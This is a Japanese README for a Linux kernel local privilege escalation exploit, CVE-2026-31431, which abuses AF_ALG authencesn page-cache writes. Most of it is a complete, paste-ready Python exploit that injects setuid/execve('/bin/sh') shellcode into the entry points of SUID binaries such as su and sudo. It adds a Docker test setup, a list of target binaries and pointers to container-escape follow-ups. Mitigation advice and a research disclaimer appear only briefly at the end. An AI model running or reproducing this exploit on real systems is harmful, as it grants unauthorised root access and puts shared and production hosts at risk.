
CVE-2026-31431 コピー失敗 — 汎用LPEエクスプロイト。動的ELFオフセット+全バイナリ上書き、ctypes spliceフォールバックによるPython 2/3互換
Linuxカーネルページキャッシュへの4バイト任意書き込み → ローカル権限昇格
複数のエクスプロイト手法: 動的ELFエントリポイント上書き、完全バイナリ置換、ctypes spliceフォールバック対応のPython 3.x。
CVE-2026-31431 は、LinuxカーネルのAF_ALG暗号サブシステムにおける脆弱性です。splice() + authencesn のインプレース復号を悪用することで、権限のないユーザーがカーネルのページキャッシュ(すべてのファイルバッキングメモリに使用されるキャッシュ)内の任意のオフセットに4バイトを書き込むことができます。
つまり:
このリポジトリは、同じAF_ALGコピーフォールプリミティブを使用する3つのツールを提供します:
| 動的エントリポイント | 完全バイナリ置換 | 脆弱性チェッカー | |
|---|---|---|---|
| ファイル | exploit.py | poc_compatible.py | check_cve.sh |
| 戦略 | ELFエントリポイントをシェルコードで上書き | オフセット0からバイナリ全体を置換 | 対象が脆弱かどうかをテスト |
| 対象 | 任意のx86_64 SUIDバイナリ | 任意のバイナリ(SUIDかどうかは問わない) | N/A |
| Python | 3.x(全バージョン) | 2 / 3 | Bash |
| ペイロード | 36バイトのシェルコード | zlib圧縮された完全なELF | N/A |
| 作者 | 本作品 | h4ppy7ree | h4ppy7ree |
動的エントリポイント — 実行時にELFヘッダーを解析してエントリポイントのファイルオフセット(p_offset + (e_entry - p_vaddr))を計算し、小さなシェルコードスタブを書き込みます。ハードコードされたオフセットは不要 — ディストリビューションやバージョンに関係なく、1つのスクリプトが任意のx86_64 SUIDバイナリで動作します。
完全バイナリ置換 — 事前にビルドされた完全なELFペイロード(zlib圧縮されスクリプトに埋め込まれている)で、オフセット0から対象を上書きします。特権プロセス(cronジョブ、systemdサービス、kube-proxy)によって実行される非SUIDバイナリを対象にできます。Python 2でも動作します。
脆弱性チェッカー — エクスプロイトを実行する前に、対象システムにAF_ALG、authencesn、algif_aeadが利用可能かどうかをテストします。
exploit.py用。Python 2はpoc_compatible.pyでサポート)/usr/bin/su、/usr/bin/sudo など)# 権限のないユーザーでテストコンテナを作成
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
次に、コンテナ内でtestuserとして:
# 実行前: 実uidが0ではないためsetuid(0)は失敗する
/usr/local/bin/verify
# uid=1000 euid=0
# (正常に終了、rootにはならない)
# エクスプロイトを実行
python3 exploit.py /usr/local/bin/verify
# 実行後: エントリポイントが上書きされ、シェルコードがrootを取得
# uid=0(root) gid=1000(testuser)
実際のシナリオでは、生のシェルしか持っていないことがよくあります — scpもcurlもwgetもありません。この方法では、catヒアドキュメントを使用してエクスプロイトをターミナルに直接書き込みます:
# オプション1: シェルスクリプトを実行
sh exploit-one-liner.sh /usr/local/bin/verify
# オプション2: ターミナルに直接貼り付け(ブロック全体をコピー)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
これが重要な理由: コンテナ環境ではファイル転送ツール(
scp、curl、wget)がないことがよくあります。ヒアドキュメント方式はcatとpython3だけで済みます — どこでも利用可能です。
/usr/local/bin/verify を任意のSUID-rootバイナリに置き換えることができます:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ 警告: システムのSUIDバイナリ(
/usr/bin/suなど)を対象にすると、システム上のすべてのユーザーに影響します。ページキャッシュがクリアされるまで、そのバイナリは使用できなくなります。ホストマシンでは、suを実行したユーザーは誰でもrootシェルを取得できます。共有/本番システムでは、これはすぐに気づかれます —
suがクラッシュしたり、全員に予期しないシェルが生成されたりします。安全なテストにはverify.cを使用してください。
このエクスプロイトはページキャッシュ(メモリ)のみを変更し、ディスクには触れません。復旧オプション:
# ホスト上で(コンテナテスト後):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 復旧の確認:
xxd -l 8 /usr/bin/su
# 表示されるはず: 7f45 4c46 (.ELF)
注記: デフォルト(非特権)コンテナ内では、
echo 3 > /proc/sys/vm/drop_cachesはRead-only file systemで失敗します — これにはホストアクセスまたはコンテナの破棄が必要です。
カーネルのauthencesn AEADアルゴリズムには、インプレース復号パスにバグがあります:
authencesn(hmac(sha256), cbc(aes))でAF_ALGソケットを作成splice()を呼び出してファイルデータを暗号ソケットに供給 — これによりページキャッシュページがカーネルのscatterlistに直接マッピングされるauthencesnは認証タグの後に4バイトのseqno_loを書き込む結果: ページキャッシュされた任意のファイルへの4バイト任意書き込み。
┌─────────────────────────────────────────────────────┐
│ ELFバイナリ (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELFヘッダー │ e_entry = 0x4013f0 │
│ │ │ ← 動的に解析 │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← 計算されたファイルオフセット │
│ │ 元のコード │ │
│ │ │ ─── コピーフォール書き込み ───→ │
│ │ シェルコード │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
カーネルがSUIDバイナリをロードすると、euid=0を設定してからエントリポイントにジャンプする。
エントリポイントは現在、私たちのシェルコード → setuid(0)が成功 → rootシェル。
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; null終端
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; ファイル名
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36バイト、9回のコピーフォール書き込み(各4バイト)。
デフォルトのDockerコンテナは、これから保護されていません:
| 保護 | 状態 |
|---|---|
| Seccomp | ✅ AF_ALGはデフォルトで許可 |
| ユーザー名前空間 | ❌ デフォルトのDockerでは未使用 |
| AppArmor/SELinux | ❌ AF_ALGを制限しない |
| ケーパビリティの削除 | ❌ 特別なケーパビリティは不要 |
コンテナエスケープを防いでいるのは、overlayfsのマウントごとのページキャッシュ分離だけです。しかし、コンテナ内でrootを取得すれば、標準的なエスケープ手法(cgroup release_agent、docker.sock、K8s serviceaccountトークン、クラウドメタデータ)が適用できます。
algif_aeadのインプレース変換(2017年頃にマージ)以降のすべてのLinuxカーネル:
.
├── exploit.py # 動的ELFエントリポイント上書き(Python 3.x)
├── exploit-one-liner.sh # 貼り付け対応バージョン(ファイル転送不要)
├── poc_compatible.py # オフセット0からの完全ELFバイナリ上書き(Python 2/3、h4ppy7ree作)
├── poc_ctypes.py # Python 3.0-3.9用ctypes splice(h4ppy7ree作)
├── check_cve.sh # 脆弱性チェッカー(h4ppy7ree作)
├── verify/
│ └── verify.c # テスト用SUID検証プログラム
└── README.md # このファイル
AF_ALGドメインをブロック(socket(AF_ALG, ...) → errno)af_algソケット作成を拒否CONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscallの監査このエクスプロイトは、許可されたセキュリティ研究および教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。著者は一切の責任を負わず、このプログラムの誤用または損害について責任を負いません。
MIT
| 方法 | 場所 | コマンド |
|---|
| ページキャッシュの破棄 | ホスト(root) | echo 3 > /proc/sys/vm/drop_caches |
| 再起動 | どこでも | reboot — ページキャッシュは揮発性 |
| コンテナの破棄 | どこでも | docker rm — コンテナとともにページキャッシュが解放 |
| ベクター | 動作するか? | 詳細 |
|---|
| LPE(ローカルユーザー → root) | ✅ はい | SUIDバイナリのエントリポイントを上書き |
| コンテナエスケープ(デフォルト) | ❌ いいえ | overlayfsのマウントごとのページキャッシュ分離 |
| コンテナエスケープ(ホスト書き込み) | ✅ はい | ホストから/proc/PID/root/経由で書き込み |
| クロスコンテナ(ホスト書き込み) | ✅ はい | 同じinode → 共有された下層レイヤーのページキャッシュ |